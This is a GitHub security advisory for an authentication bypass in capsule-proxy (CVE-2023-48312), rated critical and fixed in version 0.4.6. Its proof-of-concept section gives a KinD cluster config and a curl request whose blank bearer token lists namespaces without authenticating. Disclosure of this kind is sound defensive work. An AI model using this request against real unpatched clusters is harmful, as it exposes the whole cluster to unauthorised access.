Skip to content

Capsule Proxy Authentication bypass using an empty token

Critical severity GitHub Reviewed Published Nov 23, 2023 in projectcapsule/capsule-proxy • Updated Nov 27, 2023

Package

gomod github.com/clastix/capsule-proxy (Go)

Affected versions

<= 0.4.5

Patched versions

0.4.6
gomod github.com/projectcapsule/capsule-proxy (Go)
<= 0.4.5
0.4.6

Description

The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.

All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

PoC

Start a KinD cluster with the anonymous-auth value to false.
If it is true, it uses anonymous permissions which are very limited by default

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "false"

Install capsule and capsule-proxy

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

Then query the proxy

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

References

Published to the GitHub Advisory Database Nov 24, 2023
Reviewed Nov 24, 2023
Published by the National Vulnerability Database Nov 24, 2023
Last updated Nov 27, 2023

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2023-48312

GHSA ID

GHSA-fpvw-6m5v-hqfp

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.